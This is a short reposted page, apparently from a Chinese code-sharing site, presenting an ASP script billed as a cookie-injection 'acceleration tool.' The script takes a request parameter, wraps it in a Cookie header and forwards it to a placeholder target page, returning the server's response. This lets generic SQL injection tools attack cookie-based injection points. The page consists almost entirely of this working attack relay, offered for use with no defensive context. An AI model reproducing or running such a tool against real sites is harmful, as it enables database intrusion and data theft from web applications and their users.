asp版实现cookies注入加速工具
来源：
中文源码网 浏览：229 次 日期：2024-05-03 09:30:23
【下载文档: asp版实现cookies注入加速工具.txt 】
ASP版实现cookies注入加速工具
来源：职业欠钱&zj1244共用的public Blog 复制代码 代码如下:<% Str="xxxid="&escape(request("FK")) Url="http://xxx.chinaxxx.com/injection.asp" response.write PostData(Url,Str) Function PostData(PostUrl,PostCok) Dim Http Set Http = Server.CreateObject("msxml2.serverXMLHTTP") With Http .Open "GET",PostUrl,False .SetRequestHeader "Cookie",PostCok .Send PostData = .ResponseBody End With Set Http = Nothing PostData =bytes2BSTR(PostData) End Function Function bytes2BSTR(vIn) Dim strReturn Dim I, ThisCharCode, NextCharCode strReturn = "" For I = 1 To LenB(vIn) ThisCharCode = AscB(MidB(vIn, I, 1)) If ThisCharCode < &H80 Then strReturn = strReturn & Chr(ThisCharCode) Else NextCharCode = AscB(MidB(vIn, I + 1, 1)) strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) I = I + 1 End If Next bytes2BSTR = strReturn End Function %>
